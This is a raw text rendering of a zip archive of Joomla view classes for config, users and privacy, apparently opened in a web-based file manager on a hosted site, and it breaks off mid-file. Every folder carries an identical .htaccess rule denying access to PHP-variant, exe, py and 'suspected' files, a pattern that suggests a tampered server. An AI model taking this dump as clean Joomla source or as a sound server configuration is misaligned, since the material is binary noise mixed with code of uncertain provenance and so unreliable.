File manager - Edit - /home/ferretapmx/public_html/View.zip
Back
PK ��\��* * Modules/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Site\View\Modules; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Config\Site\Model\ModulesModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View to edit a module. * * @since 3.2 */ class HtmlView extends BaseHtmlView { /** * The module to be rendered * * @var array * * @since 3.2 */ public $item; /** * The form object * * @var Form * * @since 3.2 */ public $form; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 3.2 */ public function display($tpl = null) { $lang = Factory::getApplication()->getLanguage(); $lang->load('', JPATH_ADMINISTRATOR, $lang->getTag()); $lang->load('com_modules', JPATH_ADMINISTRATOR, $lang->getTag()); // @todo Move and clean up $module = (new \Joomla\Component\Modules\Administrator\Model\ModuleModel())->getItem(Factory::getApplication()->getInput()->getInt('id')); $moduleData = $module->getProperties(); unset($moduleData['xml']); /** @var \Joomla\Component\Config\Site\Model\ModulesModel $model */ $model = $this->getModel(); // Need to add module name to the state of model $model->getState()->set('module.name', $moduleData['module']); /** @var ModulesModel $model */ $model = $this->getModel(); $this->form = $model->getForm(); $this->positions = $model->getPositions(); $this->item = $moduleData; if ($this->form) { $this->form->bind($moduleData); } $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 4.0.0 */ protected function _prepareDocument() { // There is no menu item for this so we have to use the title from the component $this->setDocumentTitle(Text::_('COM_CONFIG_MODULES_SETTINGS_TITLE')); } } PK ��\�Sʉ� � Modules/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�$M� � Templates/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Site\View\Templates; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\MVC\Factory\MVCFactory; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Config\Administrator\Controller\RequestController; use Joomla\Component\Templates\Administrator\View\Style\JsonView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View to edit a template style. * * @since 3.2 */ class HtmlView extends BaseHtmlView { /** * The data to be displayed in the form * * @var array * * @since 3.2 */ public $item; /** * The form object * * @var Form * * @since 3.2 */ public $form; /** * Is the current user a super administrator? * * @var boolean * * @since 3.2 */ protected $userIsSuperAdmin; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * Method to render the view. * * @return void * * @since 3.2 */ public function display($tpl = null) { $user = $this->getCurrentUser(); $this->userIsSuperAdmin = $user->authorise('core.admin'); $app = Factory::getApplication(); $app->getInput()->set('id', $app->getTemplate(true)->id); /** @var MVCFactory $factory */ $factory = $app->bootComponent('com_templates')->getMVCFactory(); /** @var JsonView $view */ $view = $factory->createView('Style', 'Administrator', 'Json'); $view->setModel($factory->createModel('Style', 'Administrator'), true); $view->setLanguage($app->getLanguage()); $view->document = $this->getDocument(); $json = $view->display(); // Execute backend controller $serviceData = json_decode($json, true); // Access backend com_config $requestController = new RequestController(); // Execute backend controller $configData = json_decode($requestController->getJson(), true); $data = array_merge($configData, $serviceData); /** @var Form $form */ $form = $this->getForm(); if ($form) { $form->bind($data); } $this->form = $form; $this->data = $serviceData; $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 4.0.0 */ protected function _prepareDocument() { $params = Factory::getApplication()->getParams(); // Because the application sets a default page title, we need to get it // right from the menu item itself $this->setDocumentTitle($params->get('page_title', '')); if ($params->get('menu-meta_description')) { $this->getDocument()->setDescription($params->get('menu-meta_description')); } if ($params->get('robots')) { $this->getDocument()->setMetaData('robots', $params->get('robots')); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->params = &$params; } } PK ��\�Sʉ� � Templates/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\6��� � Config/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Site\View\Config; use Joomla\CMS\Factory; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Config\Administrator\Controller\RequestController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View for the global configuration * * @since 3.2 */ class HtmlView extends BaseHtmlView { /** * The form object * * @var \Joomla\CMS\Form\Form * * @since 3.2 */ public $form; /** * The data to be displayed in the form * * @var array * * @since 3.2 */ public $data; /** * Is the current user a super administrator? * * @var boolean * * @since 3.2 */ protected $userIsSuperAdmin; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 3.2 */ public function display($tpl = null) { $user = $this->getCurrentUser(); $this->userIsSuperAdmin = $user->authorise('core.admin'); // Access backend com_config $requestController = new RequestController(); // Execute backend controller $serviceData = json_decode($requestController->getJson(), true); $form = $this->getForm(); if ($form) { $form->bind($serviceData); } $this->form = $form; $this->data = $serviceData; $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 4.0.0 */ protected function _prepareDocument() { $params = Factory::getApplication()->getParams(); // Because the application sets a default page title, we need to get it // right from the menu item itself $this->setDocumentTitle($params->get('page_title', '')); if ($params->get('menu-meta_description')) { $this->getDocument()->setDescription($params->get('menu-meta_description')); } if ($params->get('robots')) { $this->getDocument()->setMetaData('robots', $params->get('robots')); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->params = &$params; } } PK ��\�Sʉ� � Config/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�Sʉ� � .htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\} ��� � Registration/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\View\Registration; use Joomla\CMS\Document\HtmlDocument; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Component\Users\Site\Model\RegistrationModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Registration view class for Users. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * Registration form data * * @var \stdClass|false */ protected $data; /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The page parameters * * @var \Joomla\Registry\Registry|null */ protected $params; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * The HtmlDocument instance * * @var HtmlDocument */ public $document; /** * Should we show a captcha form for the registration of a user? * * @var boolean * * @since 3.7.0 */ protected $captchaEnabled = false; /** * The page class suffix * * @var string * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * Method to display the view. * * @param string $tpl The template file to include * * @return void * * @since 1.6 * @throws \Exception */ public function display($tpl = null) { /** @var RegistrationModel $model */ $model = $this->getModel(); $this->form = $model->getForm(); $this->data = $model->getData(); $this->state = $model->getState(); $this->params = $this->state->get('params'); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Check for layout override $active = Factory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } $captchaSet = $this->params->get('captcha', Factory::getApplication()->get('captcha', '0')); foreach (PluginHelper::getPlugin('captcha') as $plugin) { if ($captchaSet === $plugin->name) { $this->captchaEnabled = true; break; } } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8'); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 1.6 * @throws \Exception */ protected function prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('COM_USERS_REGISTRATION')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Registration/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\ dsp Methods/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Methods; use Joomla\CMS\Event\MultiFactor\NotifyActionLog; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\User\User; use Joomla\Component\Users\Administrator\DataShape\MethodDescriptor; use Joomla\Component\Users\Administrator\Model\BackupcodesModel; use Joomla\Component\Users\Administrator\Model\MethodsModel; use Joomla\Component\Users\Administrator\View\SiteTemplateTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View for Multi-factor Authentication methods list page * * @since 4.2.0 */ class HtmlView extends BaseHtmlView { use SiteTemplateTrait; /** * Is this an administrator page? * * @var boolean * @since 4.2.0 */ public $isAdmin = false; /** * The MFA Methods available for this user * * @var array * @since 4.2.0 */ public $methods = []; /** * The return URL to use for all links and forms * * @var string * @since 4.2.0 */ public $returnURL = null; /** * Are there any active MFA Methods at all? * * @var boolean * @since 4.2.0 */ public $mfaActive = false; /** * Which Method has the default record? * * @var string * @since 4.2.0 */ public $defaultMethod = ''; /** * The user object used to display this page * * @var User * @since 4.2.0 */ public $user = null; /** * Is this page part of the mandatory Multi-factor Authentication setup? * * @var boolean * @since 4.2.0 */ public $isMandatoryMFASetup = false; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @throws \Exception * @see \JViewLegacy::loadTemplate() * @since 4.2.0 */ public function display($tpl = null): void { $this->setSiteTemplateStyle(); $app = Factory::getApplication(); if (empty($this->user)) { $this->user = $this->getCurrentUser(); } /** @var MethodsModel $model */ $model = $this->getModel(); if ($this->getLayout() !== 'firsttime') { $this->setLayout('default'); } $this->methods = $model->getMethods($this->user); $this->isAdmin = $app->isClient('administrator'); $activeRecords = 0; foreach ($this->methods as $methodName => $method) { $methodActiveRecords = \count($method['active']); if (!$methodActiveRecords) { continue; } $activeRecords += $methodActiveRecords; $this->mfaActive = true; foreach ($method['active'] as $record) { if ($record->default) { $this->defaultMethod = $methodName; break; } } } // If there are no backup codes yet we should create new ones /** @var BackupcodesModel $model */ $model = $this->getModel('backupcodes'); $backupCodes = $model->getBackupCodes($this->user); if ($activeRecords && empty($backupCodes)) { $model->regenerateBackupCodes($this->user); } $backupCodesRecord = $model->getBackupCodesRecord($this->user); if (!\is_null($backupCodesRecord)) { $this->methods = array_merge( [ 'backupcodes' => new MethodDescriptor( [ 'name' => 'backupcodes', 'display' => Text::_('COM_USERS_USER_BACKUPCODES'), 'shortinfo' => Text::_('COM_USERS_USER_BACKUPCODES_DESC'), 'image' => 'media/com_users/images/emergency.svg', 'canDisable' => false, 'active' => [$backupCodesRecord], ] ), ], $this->methods ); } $this->isMandatoryMFASetup = $activeRecords === 0 && $app->getSession()->get('com_users.mandatory_mfa_setup', 0) === 1; // Back-end: always show a title in the 'title' module position, not in the page body if ($this->isAdmin) { ToolbarHelper::title(Text::_('COM_USERS_MFA_LIST_PAGE_HEAD'), 'users user-lock'); if ($this->getCurrentUser()->authorise('core.manage', 'com_users')) { $toolbar = $this->getDocument()->getToolbar(); $arrow = Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'; $toolbar->link('JTOOLBAR_BACK', 'index.php?option=com_users') ->icon('icon-' . $arrow); } } // Display the view parent::display($tpl); $event = new NotifyActionLog('onComUsersViewMethodsAfterDisplay', [$this]); Factory::getApplication()->getDispatcher()->dispatch($event->getName(), $event); Text::script('JGLOBAL_CONFIRM_DELETE'); } } PK ��\�Sʉ� � Methods/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\:���� � Login/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\View\Login; use Joomla\CMS\Factory; use Joomla\CMS\Helper\AuthenticationHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\User\User; use Joomla\Component\Users\Site\Model\LoginModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Login view class for Users. * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The page parameters * * @var \Joomla\Registry\Registry|null */ protected $params; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * The logged in user * * @var User */ protected $user; /** * The page class suffix * * @var string * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * No longer used * * @var boolean * @since 4.0.0 * * @deprecated 4.3 will be removed in 6.0 * Will be removed without replacement */ protected $tfa = false; /** * Additional buttons to show on the login page * * @var array * @since 4.0.0 */ protected $extraButtons = []; /** * Method to display the view. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 1.5 * @throws \Exception */ public function display($tpl = null) { /** @var LoginModel $model */ $model = $this->getModel(); $this->user = $this->getCurrentUser(); $this->form = $model->getForm(); $this->state = $model->getState(); $this->params = $this->state->get('params'); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Check for layout override $active = Factory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } $this->extraButtons = AuthenticationHelper::getLoginButtons('com-users-login__form'); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8'); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document * * @return void * * @since 1.6 * @throws \Exception */ protected function prepareDocument() { $login = (bool) $this->getCurrentUser()->guest; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', $login ? Text::_('JLOGIN') : Text::_('JLOGOUT')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Login/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\W>�� � Method/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Method; use Joomla\CMS\Factory; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Router\Route; use Joomla\CMS\Toolbar\Button\BasicButton; use Joomla\CMS\Toolbar\Button\LinkButton; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\User; use Joomla\Component\Users\Administrator\Model\MethodModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View for Multi-factor Authentication method add/edit page * * @since 4.2.0 */ class HtmlView extends BaseHtmlView { /** * Is this an administrator page? * * @var boolean * @since 4.2.0 */ public $isAdmin = false; /** * The editor page render options * * @var array * @since 4.2.0 */ public $renderOptions = []; /** * The MFA Method record being edited * * @var object * @since 4.2.0 */ public $record = null; /** * The title text for this page * * @var string * @since 4.2.0 */ public $title = ''; /** * The return URL to use for all links and forms * * @var string * @since 4.2.0 */ public $returnURL = null; /** * The user object used to display this page * * @var User * @since 4.2.0 */ public $user = null; /** * The backup codes for the current user. Only applies when the backup codes record is being "edited" * * @var array * @since 4.2.0 */ public $backupCodes = []; /** * Am I editing an existing Method? If it's false then I'm adding a new Method. * * @var boolean * @since 4.2.0 */ public $isEditExisting = false; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @throws \Exception * @see \JViewLegacy::loadTemplate() * @since 4.2.0 */ public function display($tpl = null): void { $app = Factory::getApplication(); if (empty($this->user)) { $this->user = $this->getCurrentUser(); } /** @var MethodModel $model */ $model = $this->getModel(); $this->setLayout('edit'); $this->renderOptions = $model->getRenderOptions($this->user); $this->record = $model->getRecord($this->user); $this->title = $model->getPageTitle(); $this->isAdmin = $app->isClient('administrator'); $toolbar = $this->getDocument()->getToolbar(); // Backup codes are a special case, rendered with a special layout if ($this->record->method == 'backupcodes') { $this->setLayout('backupcodes'); $backupCodes = $this->record->options; if (!\is_array($backupCodes)) { $backupCodes = []; } $backupCodes = array_filter( $backupCodes, function ($x) { return !empty($x); } ); if (\count($backupCodes) % 2 != 0) { $backupCodes[] = ''; } /** * The call to array_merge resets the array indices. This is necessary since array_filter kept the indices, * meaning our elements are completely out of order. */ $this->backupCodes = array_merge($backupCodes); } // Set up the isEditExisting property. $this->isEditExisting = !empty($this->record->id); // Back-end: always show a title in the 'title' module position, not in the page body if ($this->isAdmin) { ToolbarHelper::title($this->title, 'users user-lock'); $helpUrl = $this->renderOptions['help_url']; if (!empty($helpUrl)) { $toolbar->help('', false, $helpUrl); } $this->title = ''; } $returnUrl = empty($this->returnURL) ? '' : base64_decode($this->returnURL); $returnUrl = ($returnUrl && Uri::isInternal($returnUrl)) ? $returnUrl : Route::_('index.php?option=com_users&task=methods.display&user_id=' . $this->user->id); if ($this->isAdmin && $this->getLayout() === 'edit') { $button = (new BasicButton('user-mfa-edit-save')) ->text($this->renderOptions['submit_text']) ->icon($this->renderOptions['submit_icon']) ->onclick('document.getElementById(\'user-mfa-edit-save\').click()'); if ($this->renderOptions['show_submit'] || $this->isEditExisting) { $toolbar->appendButton($button); } $button = (new LinkButton('user-mfa-edit-cancel')) ->url($returnUrl) ->text('JCANCEL') ->buttonClass('btn btn-danger') ->icon('icon-cancel-2'); $toolbar->appendButton($button); } elseif ($this->isAdmin && $this->getLayout() === 'backupcodes') { $arrow = Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'; $button = (new LinkButton('user-mfa-edit-cancel')) ->url($returnUrl) ->text('JTOOLBAR_BACK') ->icon('icon-' . $arrow); $toolbar->appendButton($button); $button = (new LinkButton('user-mfa-edit-cancel')) ->url( Route::_( \sprintf( "index.php?option=com_users&task=method.regenerateBackupCodes&user_id=%s&%s=1&returnurl=%s", $this->user->id, Factory::getApplication()->getFormToken(), base64_encode($returnUrl) ) ) ) ->text('COM_USERS_MFA_BACKUPCODES_RESET') ->buttonClass('btn btn-danger') ->icon('icon-refresh'); $toolbar->appendButton($button); } // Display the view parent::display($tpl); } } PK ��\�Sʉ� � Method/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��j.� � Remind/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_privacy * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Site\View\Remind; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Privacy\Site\Model\RemindModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Remind confirmation view class * * @since 3.9.0 */ class HtmlView extends BaseHtmlView { /** * The form object * * @var Form * @since 3.9.0 */ protected $form; /** * The CSS class suffix to append to the view container * * @var string * @since 3.9.0 */ protected $pageclass_sfx; /** * The view parameters * * @var Registry * @since 3.9.0 */ protected $params; /** * The state information * * @var \Joomla\Registry\Registry * @since 3.9.0 */ protected $state; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @see BaseHtmlView::loadTemplate() * @since 3.9.0 * @throws \Exception */ public function display($tpl = null) { /** @var RemindModel $model */ $model = $this->getModel(); $this->form = $model->getForm(); $this->state = $model->getState(); $this->params = $this->state->get('params'); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8'); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 3.9.0 */ protected function prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('COM_PRIVACY_VIEW_REMIND_PAGE_TITLE')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Remind/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��6n n Reset/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\View\Reset; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Users\Site\Model\ResetModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Reset view class for Users. * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The page parameters * * @var \Joomla\Registry\Registry|null */ protected $params; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * The page class suffix * * @var string * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * Method to display the view. * * @param string $tpl The template file to include * * @return void * * @since 1.5 */ public function display($tpl = null) { // This name will be used to get the model $name = $this->getLayout(); /** @var ResetModel $model */ $model = $this->getModel(); // Check that the name is valid - has an associated model. if (!\in_array($name, ['confirm', 'complete'])) { $name = 'default'; } if ('default' === $name) { $this->form = $model->getForm(); } elseif ($name === 'confirm') { $this->form = $model->getResetConfirmForm(); } elseif ($name === 'complete') { $this->form = $model->getResetCompleteForm(); } $this->state = $model->getState(); $this->params = $this->state->get('params'); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8'); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 1.6 * @throws \Exception */ protected function prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('COM_USERS_RESET')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Reset/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��S�� � Profile/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\View\Profile; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\CMS\User\User; use Joomla\Component\Users\Administrator\Helper\Mfa; use Joomla\Component\Users\Site\Model\ProfileModel; use Joomla\Database\DatabaseDriver; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Profile view class for Users. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * Profile form data for the user * * @var User */ protected $data; /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The page parameters * * @var \Joomla\Registry\Registry|null */ protected $params; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * An instance of 